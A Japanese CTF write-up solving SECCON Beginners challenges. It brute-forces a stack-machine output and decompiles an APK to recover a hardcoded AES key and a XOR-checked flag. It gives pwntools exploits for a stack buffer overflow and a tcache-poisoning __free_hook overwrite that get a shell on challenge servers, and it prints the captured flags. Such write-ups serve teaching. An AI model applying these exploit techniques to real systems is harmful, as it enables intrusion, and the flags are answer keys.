ASCIIコードの印字可能文字範囲で1文字ずつoutput.txtの整数値になる文字を探索するソルバーを書いた。
output = '3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094' output = list(map(int, output.split())) ans = '' mul = 1 for idx in range(len(output)): for p in range(0x20, 0x7f): get_ord = p tmp = get_ord ^ (idx + 1) tmp = tmp * mul s = 1 for j in range(463): s *= tmp s %= 64711 if s == output[idx]: print(idx, s, chr(p)) ans += chr(p) s %= 128 mul = s + 1 break print('FLAG:', ans) # FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
FLAG: FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
siblangs (363pt)
Well, they look so similar... siblangs.apk
(SHA-1 hash: c08d002c5837ad39d509a1d09ed623003ae97229)
APK問題。とりあえずapktool、dex2jarでjarへ変換。jd-duiで怪しいクラスを調査。es.o0i.challengeappにValidateFlagModule.classとかあって怪しい。validateというメソッドでAES復号したローカルの文字列と入力された文字列を比較してるっぽい。

鍵も同じクラスに変数として定義されている。
private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
コードを抜き出して比較しているローカル文字列を表示してみると、FLAGの後半っぽい文字列が得られた。
import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.SecretKey; import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.GCMParameterSpec; public class Solve { //private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); public static void main(String[] args) { SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); byte[] arrayOfByte = new byte[43]; arrayOfByte[0] = 95; arrayOfByte[1] = -59; arrayOfByte[2] = -20; arrayOfByte[3] = -93; arrayOfByte[4] = -70; arrayOfByte[5] = 0; arrayOfByte[6] = -32; arrayOfByte[7] = -93; arrayOfByte[8] = -23; arrayOfByte[9] = 63; arrayOfByte[10] = -9; arrayOfByte[11] = 60; arrayOfByte[12] = 86; arrayOfByte[13] = 123; arrayOfByte[14] = -61; arrayOfByte[15] = -8; arrayOfByte[16] = 17; arrayOfByte[17] = -113; arrayOfByte[18] = -106; arrayOfByte[19] = 28; arrayOfByte[20] = 99; arrayOfByte[21] = -72; arrayOfByte[22] = -3; arrayOfByte[23] = 1; arrayOfByte[24] = -41; arrayOfByte[25] = -123; arrayOfByte[26] = 17; arrayOfByte[27] = 93; arrayOfByte[28] = -36; arrayOfByte[29] = 45; arrayOfByte[30] = 18; arrayOfByte[31] = 71; arrayOfByte[32] = 61; arrayOfByte[33] = 70; arrayOfByte[34] = -117; arrayOfByte[35] = -55; arrayOfByte[36] = 107; arrayOfByte[37] = -75; arrayOfByte[38] = -89; arrayOfByte[39] = 3; arrayOfByte[40] = 94; arrayOfByte[41] = -71; arrayOfByte[42] = 30; try { Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, arrayOfByte, 0, 12); cipher.init(Cipher.DECRYPT_MODE, secretKey, gCMParameterSpec); arrayOfByte = cipher.doFinal(arrayOfByte, 12, arrayOfByte.length - 12); String s = new String(arrayOfByte); System.out.println(s); // -> '1pt_3verywhere}' } catch (Exception e) { System.out.println(e); } } }
残りの前半部分を探索。jar変換のときについでにできたapkのリソースをctfでgrepしてみると怪しいスクリプトっぽいのを発見。React関連?のリソースぽい。
grep -r ctf ./siblangs-d/
./siblangs-d/assets/index.android.bundle:__d(function(g,r,i,a,m,e,d){var t=r(d[0]),o=r(d[1]);Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var l=o(r(d[2])),n=o(r(d[3])),c=o(r(d[4])),u=o(r(d[5])),s=o(r(d[6])),f=t(r(d[7])),h=r(d[8]),y=r(d[9]),p=o(r(d[10]));function V(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}var v=(function(t){(0,c.default)(v,t);var o,y=(o=v,function(){var t,l=(0,s.default)(o);if(V()){var n=(0,s.default)(this).constructor;t=Reflect.construct(l,arguments,n)}else t=l.apply(this,arguments);return(0,u.default)(this,t)});function v(){var t;(0,l.default)(this,v);for(var o=arguments.length,n=new Array(o),c=0;c<o;c++)n[c]=arguments[c];return(t=y.call.apply(y,[this].concat(n))).state={flagVal:"ctf4b{",xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},t.handleFlagChange=function(o){t.setState({flagVal:o})},t.onPressValidateFirstHalf=function(){if("ios"===h.Platform.OS){for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;n<t.state.xored.length;n++)if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))return void h.Alert.alert("Validation A Failed","Try again...");h.Alert.alert("Validation A Succeeded","Great! Have you checked the other one?")}else h.Alert.alert("Sorry!","Run this app on iOS to validate! Or you can try the other one :)")},t.onPressValidateLastHalf=function(){"android"===h.Platform.OS?p.default.validate(t.state.flagVal,function(t){t?h.Alert.alert("Validation B Succeeded","Great! Have you checked the other one?"):h.Alert.alert("Validation B Failed","Learn once, write anywhere ... anywhere?")}):h.Alert.alert("Sorry!","Run this app on Android to validate! Or you can try the other one :)")},t}return(0,n.default)(v,[{key:"render",value:function(){return f.default.createElement(f.default.Fragment,null,f.default.createElement(h.StatusBar,{barStyle:"dark-content"}),f.default.createElement(h.SafeAreaView,null,f.default.createElement(h.ScrollView,{contentInsetAdjustmentBehavior:"automatic",style:S.scrollView},f.default.createElement(h.View,{style:S.body},f.default.createElement(h.View,{style:S.sectionContainer},f.default.createElement(h.Text,{style:S.sectionTitle},"Hello!"),f.default.createElement(h.Text,{style:S.sectionDescription},"Put your FLAG into the box below:"),f.default.createElement(h.TextInput,{style:S.textInput,value:this.state.flagVal,onChangeText:this.handleFlagChange}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateFirstHalf,title:"Validate A",color:"#a44593"}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateLastHalf,title:"Validate B",color:"#a44593"}))))))}}]),v})(f.Component),S=h.StyleSheet.create({textInput:{backgroundColor:y.Colors.dark,color:y.Colors.white},btn:{padding:18},scrollView:{backgroundColor:y.Colors.lighter},engine:{position:'absolute',right:0},body:{backgroundColor:y.Colors.white},sectionContainer:{marginTop:32,paddingHorizontal:24},sectionTitle:{fontSize:24,fontWeight:'600',color:y.Colors.black},sectionDescription:{marginTop:8,fontSize:18,fontWeight:'400',color:y.Colors.dark},highlight:{fontWeight:'700'},footer:{color:y.Colors.dark,fontSize:12,fontWeight:'600',padding:4,paddingRight:12,textAlign:'right'}}),A=v;e.default=A},390,[9,1,26,27,37,39,36,56,2,391,399]);
怪しい箇所の抜き出し
flagVal:"ctf4b{",
xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},
t.handleFlagChange=function(o){
t.setState({flagVal:o})},
t.onPressValidateFirstHalf=function(){
if("ios"===h.Platform.OS){
for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;
n<t.state.xored.length;n++)
if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))
return void h.Alert.alert("Validation A Failed","Try again...");
flag文字列とAKeyForios10.3という文字列をxorした結果がxoredの値になるので、ASCIIコードの印字可能範囲で探索。
# coding: utf-8 -*- flagVal = 'ctf4b{' xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27] ios = 'AKeyForios10.3' ans = '' for i in range(len(flagVal), len(xored)): print(i) for f in range(0x20, 0x7e): t = f ^ ord(ios[i % len(ios)]) if t == xored[i]: print(i, t, chr(f)) ans += chr(f) break print(flagVal + ans) # ctf4b{ctf4b{jav4_and_j4va5cr
後半部分と合わせて完了。
FLAG: ctf4b{jav4_and_j4va5cr1pt_3verywhere}
Pwn
Beginner's Stack (134pt)
Let's learn how to abuse stack overflow!
nc bs.quals.beginners.seccon.jp 9001
Stack BoFしてwinという関数を呼び出したら勝ちらしい。
実行してみた。Stackの情報まで出してくれる。優しみ。Stack BoFでreturnアドレスを書き換える。
$ ./chall
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffde30d9d30 | 0x0000000000000000 | <-- buf
+--------------------+
0x00007ffde30d9d38 | 0x0000000000000000 |
+--------------------+
0x00007ffde30d9d40 | 0x0000000000400ad0 |
+--------------------+
0x00007ffde30d9d48 | 0x00007f0183db5190 |
+--------------------+
0x00007ffde30d9d50 | 0x00007ffde30d9d60 | <-- saved rbp (vuln)
+--------------------+
0x00007ffde30d9d58 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffde30d9d60 | 0x0000000000000000 | <-- saved rbp (main)
+--------------------+
0x00007ffde30d9d68 | 0x00007f0183ba80b3 | <-- return address (main)
+--------------------+
0x00007ffde30d9d70 | 0x00007f0183db3620 |
+--------------------+
0x00007ffde30d9d78 | 0x00007ffde30d9e58 |
+--------------------+
Input:
いきなりwinに飛ぶとRSPのアラインメントがダメだと教えてくれる。優しみ。system関数の呼び出しで16byte alignされていないとsystem関数内でSEGVになるらしい。

適当なreturn命令があるところに1度飛ばして、そのあとwinへ飛ぶようにstackを調整したらshellが取れた。
from pwn import * srv = 'bs.quals.beginners.seccon.jp' port = 9001 bin = ELF('./chall') conn = remote(srv, port) t = conn.recvuntil(b'Input:') print(t) buf = b'A' * 32 buf += b'\x00' * 8 buf += b'\xf0\x07\x40\x00' + b'\x00' * 4 # returnだけしてくる buf += b'\x61\x08\x40\x00' + b'\x00' * 4 # winのアドレス print(buf) conn.sendline(buf) print('sendline') conn.interactive() conn.close() ''' Congratulations! $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$ '''
FLAG: ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
Beginner's Heap (293pt)
Let's learn how to abuse heap overflow!
nc bh.quals.beginners.seccon.jp 9002
ファイルの提供はなし。ncでつなぐと1~6のコマンドを送信できるプログラムにつながる。heapの状況とtcacheの状況も確認できる。優しみ。
以下の操作でフラグが取れた。
- B = malloc
- free(B) // tcacheにつなげる
- read(0, A, 0x80) // 元Bのチャンクの領域を上書きして、tcache -> 元B -> __free_hook 4. の状態をつくる
- B = malloc // tcacheからBのチャンクを取得。tcacheは__free_hook のアドレスだけ残る。
- read(0, A, 0x80) // Bのチャンクのサイズ情報をtcacheにつながらない大きなサイズへと上書き
- free(B) // tcacheにつながらない。残りは __free_hookのアドレス
- B = malloc // free_hookのアドレスがくる。read()で __free_hookのアドレスが指す情報にwinのアドレスを上書き
- B = malloc // __free_hookが呼び出されるタイミングで、winが呼ばれて、flagゲット
# -*- coding: utf-8 -*- """ $ nc bh.quals.beginners.seccon.jp 9002 Let's learn heap overflow today You have a chunk which is vulnerable to Heap Overflow (chunk A) A = malloc(0x18); Also you can allocate and free a chunk which doesn't have overflow (chunk B) You have the following important information: <__free_hook>: 0x7f8ce802f8e8 <win>: 0x555afa892465 Call <win> function and you'll get the flag. 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint > """ import sys import re import time from pwn import * def send_cmd(conn, cmd, buf=b''): print('Send Command:', cmd) time.sleep(1) conn.sendline(cmd) if cmd == b'1' or cmd == b'2': time.sleep(1) conn.sendline(buf) t = conn.recvuntil(b'> ') if cmd == b'4' or cmd == b'5': print(t.decode('utf-8')) def main(): srv = 'bs.quals.beginners.seccon.jp' port = 9002 conn = remote(srv, port) t = conn.recvuntil(b'\n> ') print(t) # get address of __free_hook, win free_hook_addr = re.search(b'(?<=\<__free_hook\>: )0x[0-9a-f]+', t)[0] win_addr = re.search(b'(?<=\<win\>: )0x[0-9a-f]+', t)[0] print('free_hook', free_hook_addr) print('win', win_addr) # 2. B = malloc, read send_cmd(conn, b'2', b'A'*8) # 3. free(B), B = NULL send_cmd(conn, b'3') # 1. read(0, A, 0x80) buf = b'A' * 0x18 buf += b'\x21' + b'\x00' * 7 buf += p64(int(free_hook_addr, 16)) send_cmd(conn, b'1', buf) send_cmd(conn, b'5') send_cmd(conn, b'4') # 2. B = malloc, read send_cmd(conn, b'2', b'A'*8) # 1. read(0, A, 0x80) # for free chunk B to not tcache area buf = b'A' * 0x18 buf += b'\x01' + b'\x01' + b'\x00' * 6 send_cmd(conn, b'1', buf) send_cmd(conn, b'4') # 3. free(B), B = NULL send_cmd(conn, b'3') # 2. B = malloc, read # overwrite __free_hook with win buf = p64(int(win_addr, 16)) send_cmd(conn, b'2', buf) send_cmd(conn, b'5') send_cmd(conn, b'4') # 2. B = malloc, read send_cmd(conn, b'2', buf) #send_cmd(conn, b'3') conn.interactive() conn.close() main() ''' Congratulations! ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs} '''
FLAG: ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
以上!